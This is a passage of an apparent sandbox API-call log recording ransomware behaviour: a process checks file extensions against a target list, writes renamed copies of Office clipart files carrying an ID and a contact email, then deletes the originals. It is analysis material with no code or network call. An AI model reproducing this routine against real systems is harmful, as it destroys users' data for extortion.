(lpString1=".1cd", lpString2=".WMF") returned -1 [0144.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.031] lstrlenW (lpString=".jpg") returned 4 [0144.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.032] lstrlenW (lpString=".doc") returned 4 [0144.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.032] lstrlenW (lpString=".docx") returned 5 [0144.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.032] lstrlenW (lpString=".pdf") returned 4 [0144.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.032] lstrlenW (lpString=".xls") returned 4 [0144.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.032] lstrlenW (lpString=".xlsx") returned 5 [0144.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.032] lstrlenW (lpString=".ppt") returned 4 [0144.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.032] lstrlenW (lpString=".zip") returned 4 [0144.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.032] lstrlenW (lpString=".rar") returned 4 [0144.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.032] lstrlenW (lpString=".bz2") returned 4 [0144.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.032] lstrlenW (lpString=".7z") returned 3 [0144.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.032] lstrlenW (lpString=".dbf") returned 4 [0144.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.032] lstrlenW (lpString=".1cd") returned 4 [0144.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0144.032] lstrlenW (lpString=".jpg") returned 4 [0144.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.032] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.033] lstrlenW (lpString="FD01196_.WMF") returned 12 [0144.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.067] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2332) returned 1 [0144.068] CloseHandle (hObject=0x328) returned 1 [0144.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0144.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.092] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.092] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.093] GetLastError () returned 0x0 [0144.093] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x91c, lpOverlapped=0x0) returned 1 [0144.246] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x920, lpOverlapped=0x0) returned 1 [0144.247] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.247] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.247] SetEndOfFile (hFile=0x39c) returned 1 [0144.247] CloseHandle (hObject=0x39c) returned 1 [0144.247] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.247] SetEndOfFile (hFile=0x328) returned 1 [0144.250] CloseHandle (hObject=0x328) returned 1 [0144.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0144.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.251] lstrlenW (lpString=".doc") returned 4 [0144.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.251] lstrlenW (lpString=".docx") returned 5 [0144.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.251] lstrlenW (lpString=".pdf") returned 4 [0144.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.251] lstrlenW (lpString=".xls") returned 4 [0144.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.251] lstrlenW (lpString=".xlsx") returned 5 [0144.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.251] lstrlenW (lpString=".ppt") returned 4 [0144.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.251] lstrlenW (lpString=".zip") returned 4 [0144.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.251] lstrlenW (lpString=".rar") returned 4 [0144.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.251] lstrlenW (lpString=".bz2") returned 4 [0144.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.251] lstrlenW (lpString=".7z") returned 3 [0144.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.251] lstrlenW (lpString=".dbf") returned 4 [0144.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.251] lstrlenW (lpString=".1cd") returned 4 [0144.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.252] lstrlenW (lpString=".jpg") returned 4 [0144.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.252] lstrlenW (lpString=".doc") returned 4 [0144.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.252] lstrlenW (lpString=".docx") returned 5 [0144.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.252] lstrlenW (lpString=".pdf") returned 4 [0144.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.252] lstrlenW (lpString=".xls") returned 4 [0144.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.252] lstrlenW (lpString=".xlsx") returned 5 [0144.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.252] lstrlenW (lpString=".ppt") returned 4 [0144.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.252] lstrlenW (lpString=".zip") returned 4 [0144.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.252] lstrlenW (lpString=".rar") returned 4 [0144.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.252] lstrlenW (lpString=".bz2") returned 4 [0144.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.252] lstrlenW (lpString=".7z") returned 3 [0144.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.252] lstrlenW (lpString=".dbf") returned 4 [0144.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.252] lstrlenW (lpString=".1cd") returned 4 [0144.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0144.252] lstrlenW (lpString=".jpg") returned 4 [0144.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.253] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.253] lstrlenW (lpString="FD02075_.WMF") returned 12 [0144.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.253] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4396) returned 1 [0144.253] CloseHandle (hObject=0x328) returned 1 [0144.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0144.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.254] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.254] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.254] GetLastError () returned 0x0 [0144.255] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x112c, lpOverlapped=0x0) returned 1 [0144.321] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0144.322] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.322] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.322] SetEndOfFile (hFile=0x39c) returned 1 [0144.322] CloseHandle (hObject=0x39c) returned 1 [0144.322] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.322] SetEndOfFile (hFile=0x328) returned 1 [0144.324] CloseHandle (hObject=0x328) returned 1 [0144.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0144.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.326] lstrlenW (lpString=".doc") returned 4 [0144.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.326] lstrlenW (lpString=".docx") returned 5 [0144.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.326] lstrlenW (lpString=".pdf") returned 4 [0144.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.326] lstrlenW (lpString=".xls") returned 4 [0144.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.326] lstrlenW (lpString=".xlsx") returned 5 [0144.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.326] lstrlenW (lpString=".ppt") returned 4 [0144.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.326] lstrlenW (lpString=".zip") returned 4 [0144.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.326] lstrlenW (lpString=".rar") returned 4 [0144.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.326] lstrlenW (lpString=".bz2") returned 4 [0144.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.326] lstrlenW (lpString=".7z") returned 3 [0144.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.326] lstrlenW (lpString=".dbf") returned 4 [0144.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.327] lstrlenW (lpString=".1cd") returned 4 [0144.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.327] lstrlenW (lpString=".jpg") returned 4 [0144.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.327] lstrlenW (lpString=".doc") returned 4 [0144.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.327] lstrlenW (lpString=".docx") returned 5 [0144.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.327] lstrlenW (lpString=".pdf") returned 4 [0144.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.327] lstrlenW (lpString=".xls") returned 4 [0144.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.327] lstrlenW (lpString=".xlsx") returned 5 [0144.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.327] lstrlenW (lpString=".ppt") returned 4 [0144.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.327] lstrlenW (lpString=".zip") returned 4 [0144.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.327] lstrlenW (lpString=".rar") returned 4 [0144.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.327] lstrlenW (lpString=".bz2") returned 4 [0144.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.327] lstrlenW (lpString=".7z") returned 3 [0144.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.327] lstrlenW (lpString=".dbf") returned 4 [0144.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.327] lstrlenW (lpString=".1cd") returned 4 [0144.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0144.328] lstrlenW (lpString=".jpg") returned 4 [0144.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.328] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.328] lstrlenW (lpString="FD02141_.WMF") returned 12 [0144.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.328] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2636) returned 1 [0144.328] CloseHandle (hObject=0x328) returned 1 [0144.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0144.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.329] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.329] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.330] GetLastError () returned 0x0 [0144.330] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0144.402] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0144.403] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.404] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.404] SetEndOfFile (hFile=0x39c) returned 1 [0144.404] CloseHandle (hObject=0x39c) returned 1 [0144.404] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.404] SetEndOfFile (hFile=0x328) returned 1 [0145.221] CloseHandle (hObject=0x328) returned 1 [0145.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0145.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.324] lstrlenW (lpString=".doc") returned 4 [0145.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.324] lstrlenW (lpString=".docx") returned 5 [0145.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.324] lstrlenW (lpString=".pdf") returned 4 [0145.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.324] lstrlenW (lpString=".xls") returned 4 [0145.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.324] lstrlenW (lpString=".xlsx") returned 5 [0145.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.324] lstrlenW (lpString=".ppt") returned 4 [0145.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.324] lstrlenW (lpString=".zip") returned 4 [0145.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.324] lstrlenW (lpString=".rar") returned 4 [0145.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.324] lstrlenW (lpString=".bz2") returned 4 [0145.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.324] lstrlenW (lpString=".7z") returned 3 [0145.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.324] lstrlenW (lpString=".dbf") returned 4 [0145.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.325] lstrlenW (lpString=".1cd") returned 4 [0145.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.325] lstrlenW (lpString=".jpg") returned 4 [0145.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.325] lstrlenW (lpString=".doc") returned 4 [0145.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.325] lstrlenW (lpString=".docx") returned 5 [0145.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.325] lstrlenW (lpString=".pdf") returned 4 [0145.325] lstrcmpiW 